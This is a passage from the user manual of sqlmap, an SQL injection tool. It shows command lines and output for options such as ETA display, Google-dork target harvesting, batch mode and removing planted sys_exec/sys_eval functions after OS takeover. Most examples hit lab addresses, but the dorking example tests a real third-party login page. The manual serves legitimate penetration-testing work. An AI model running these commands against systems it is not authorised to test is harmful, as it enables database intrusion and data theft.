web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:07] [INFO] fetching banner
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Flush session file for current target</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-flush-session</CODE></P>
|
|
|
|
<P>As you are already familiar with the concept of a session file from the
|
|
description of option <CODE>-s</CODE>, it is good to know that you can flush
|
|
the content of that same file using option <CODE>-</CODE><CODE>-flush-session</CODE>.
|
|
This way you can avoid caching mechanisms implemented by default in
|
|
sqlmap. Other possible way is the manual removing of session file(s),
|
|
<CODE>sqlmap.log</CODE> in the example above, or the default
|
|
<CODE>output/hostname/session</CODE> if <CODE>-s</CODE> is not provided.</P>
|
|
|
|
|
|
<H3>Estimated time of arrival</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-eta</CODE></P>
|
|
|
|
<P>It is possible to calculate and show the estimated time of arrival to
|
|
retrieve each query output in real time while performing the SQL injection
|
|
attack.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
|
|
--eta -v 2
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:24] [INFO] fetching banner
|
|
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
|
|
output again
|
|
[hh:mm:24] [INFO] retrieved the length of query output: 64
|
|
[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
|
|
WHERE ROWNUM=1
|
|
77% [=======================================> ] 49/64 ETA 00:00
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>then:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
100% [====================================================] 64/64
|
|
[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
|
|
--users --eta -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:57] [INFO] fetching database users
|
|
[hh:mm:57] [INFO] fetching number of database users
|
|
[hh:mm:57] [INFO] retrieved: 3
|
|
[hh:mm:57] [INFO] retrieved the length of query output: 22
|
|
100% [====================================================] 22/22
|
|
[hh:mm:58] [INFO] retrieved the length of query output: 2
|
|
100% [====================================================] 2/2
|
|
[hh:mm:59] [INFO] retrieved the length of query output: 25
|
|
100% [====================================================] 25/25
|
|
[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
|
|
database management system users [3]:
|
|
[*] BUILTIN\Administrators
|
|
[*] sa
|
|
[*] W2KITINQUIS\Administrator
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap first calculates the length of the query output,
|
|
then estimates the time of arrival, shows the progress in percentage and
|
|
counts the number of retrieved query output characters.</P>
|
|
|
|
|
|
<H3>Use Google dork results from specified page number</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-gpage</CODE></P>
|
|
|
|
<P>Default sqlmap behavior with option <CODE>-g</CODE> is to do a Google
|
|
search and use resulting urls from first (100) result page for further
|
|
sql injection testing. In combination with this option you can specify
|
|
some other page other than the first one for retrieving target urls.</P>
|
|
|
|
<P>Example of Google dorking with expression <CODE>login ext:php</CODE>
|
|
and resulting page set to 3:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
|
|
|
|
[hh:mm:14] [INFO] first request to Google to get the session cookie
|
|
[hh:mm:14] [INFO] using Google result page #3
|
|
[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are
|
|
testable targets
|
|
[hh:mm:15] [INFO] sqlmap got a total of 89 targets
|
|
url 1:
|
|
GET http://www.XXX.com/index.php?pageid=login
|
|
do you want to test this url? [Y/n/q]
|
|
> y
|
|
[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
|
|
[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
|
|
[hh:mm:17] [INFO] testing connection to the target url
|
|
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:19] [INFO] url is stable
|
|
[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
|
|
[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
|
|
[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Update sqlmap</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-update</CODE></P>
|
|
|
|
<P>Using this option you can update the program to the latest version
|
|
directly from the Subversion repository along with the latest
|
|
Microsoft SQL Server XML versions file from Chip Andrews'
|
|
<A HREF="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx">SQLSecurity.com site</A>.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py --update
|
|
|
|
[...]
|
|
[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
|
|
[hh:mm:28] [INFO] updated to the latest revision XXXX
|
|
[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
|
|
[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>The Debian and Red Hat installation packages (deb and rpm) as well as the
|
|
Windows binary package (exe) can not be used to update sqlmap. You need
|
|
a source package (gzip, bzip2 or zip) to use this feature.</P>
|
|
|
|
|
|
<H3>Save options in a configuration INI file</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-save</CODE></P>
|
|
|
|
<P>It is possible to save the command line options to a configuration INI
|
|
file.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
|
|
-v 1 --save
|
|
|
|
[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf'
|
|
configuration file
|
|
[hh:mm:33] [INFO] testing connection to the target url
|
|
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap saved the command line options to a configuration
|
|
INI file, <CODE>sqlmap-SAUbs.conf</CODE>.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ cat sqlmap-SAUbs.conf
|
|
[Target]
|
|
url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
|
|
googledork =
|
|
configfile =
|
|
list =
|
|
requestfile =
|
|
|
|
[Windows]
|
|
regread = False
|
|
regval =
|
|
regdata =
|
|
regadd = False
|
|
regdel = False
|
|
regtype =
|
|
regkey =
|
|
|
|
[User-defined function]
|
|
shlib =
|
|
udfinject = False
|
|
|
|
[Request]
|
|
cookieurlencode = False
|
|
ignoreproxy = False
|
|
threads = 1
|
|
acert =
|
|
retries = 3
|
|
useragentsfile =
|
|
atype =
|
|
agent =
|
|
delay = 0
|
|
headers =
|
|
cookie =
|
|
proxy =
|
|
timeout = 30
|
|
scope =
|
|
acred =
|
|
referer =
|
|
dropsetcookie = False
|
|
data =
|
|
method = GET
|
|
|
|
[Miscellaneous]
|
|
updateall = False
|
|
sessionfile =
|
|
eta = False
|
|
batch = False
|
|
flushsession = False
|
|
cleanup = False
|
|
googlepage = 0
|
|
verbose = 1
|
|
|
|
[Enumeration]
|
|
limitstop = 0
|
|
getpasswordhashes = False
|
|
excludesysdbs = False
|
|
getcurrentdb = False
|
|
getcurrentuser = False
|
|
limitstart = 0
|
|
query =
|
|
getusers = False
|
|
isdba = False
|
|
gettables = False
|
|
dumptable = False
|
|
getdbs = False
|
|
db =
|
|
sqlshell = False
|
|
tbl =
|
|
firstchar = 0
|
|
getcolumns = False
|
|
getbanner = True
|
|
dumpall = False
|
|
getprivileges = False
|
|
lastchar = 0
|
|
col =
|
|
user =
|
|
|
|
[File system]
|
|
dfile =
|
|
wfile =
|
|
rfile =
|
|
|
|
[Takeover]
|
|
msfpath =
|
|
osshell = False
|
|
ossmb = False
|
|
privesc = False
|
|
ospwn = False
|
|
tmppath =
|
|
oscmd =
|
|
osbof = False
|
|
|
|
[Fingerprint]
|
|
extensivefp = False
|
|
|
|
[Injection]
|
|
dbms =
|
|
string =
|
|
postfix =
|
|
regexp =
|
|
prefix =
|
|
testparameter =
|
|
estring =
|
|
eregexp =
|
|
os =
|
|
|
|
[Techniques]
|
|
utech =
|
|
unionuse = False
|
|
timetest = False
|
|
uniontest = False
|
|
stackedtest = False
|
|
timesec = 5
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>The file is a valid sqlmap configuration INI file.
|
|
You can edit the configuration options as you wish and pass it to sqlmap
|
|
with the <CODE>-c</CODE> option as explained above in section 5.2.5:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -c sqlmap-SAUbs.conf
|
|
|
|
[...]
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Act in non-interactive mode</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-batch</CODE></P>
|
|
|
|
<P>If you want sqlmap to run as a batch tool, without any user's interaction
|
|
when sqlmap requires it, you can force it by using <CODE>-</CODE><CODE>-batch</CODE>
|
|
option, and leave sqlmap to go for a default behaviour.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
|
|
--batch -v 1
|
|
|
|
[...]
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
|
|
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
|
|
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
|
|
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
|
|
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
|
|
ahead:
|
|
[0] place: GET, parameter: id, type: numeric (default)
|
|
[1] place: GET, parameter: name, type: stringsingle
|
|
[q] Quit
|
|
Choice: 0
|
|
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap by default chose the injection payload to the first
|
|
vulnerable parameter.</P>
|
|
|
|
|
|
<H3>Cleanup the DBMS by sqlmap specific UDF(s) and table(s)</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-cleanup</CODE></P>
|
|
|
|
<P>It is recommended to clean up the back-end database management system from
|
|
sqlmap temporary table(s) and created user-defined function(s) when you
|
|
are done with owning the underlying operating system or file system.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
|
|
-v 2 --cleanup
|
|
|
|
[...]
|
|
[hh:mm:18] [INFO] cleaning up the database management system
|
|
[hh:mm:18] [DEBUG] removing support tables
|
|
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
|
|
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
|
|
do you want to remove sys_exec UDF? [Y/n]
|
|
[hh:mm:20] [DEBUG] removing sys_exec UDF
|
|
[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
|
|
do you want to remove sys_eval UDF? [Y/n]
|
|
[hh:mm:21] [DEBUG] removing sys_eval UDF
|
|
[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
|
|
[hh:mm:21] [INFO] database management system cleanup finished
|
|
[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
|
|
only be deleted manually
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H2><A NAME="s6">6.</A> <A HREF="#toc6">Disclaimer</A></H2>
|
|
|
|
<P>sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
details.</P>
|
|
|
|
<P>Whatever you do with this tool is uniquely your responsibility. If you are
|
|
not authorized to punch holes in the network you are attacking be aware
|
|
that such action might get you in trouble with a lot of law enforcement
|
|
agencies.</P>
|
|
|
|
|
|
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Authors</A></H2>
|
|
|
|
<P>
|
|
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - Lead developer.
|
|
PGP Key ID:
|
|
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F">0x05F5A30F</A></P>
|
|
<P>
|
|
<A HREF="mailto:miroslav.stampar@gmail.com">Miroslav Stampar</A> (stamparm) - Developer.
|
|
PGP Key ID:
|
|
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xB5397B1B">0xB5397B1B</A></P>
|
|
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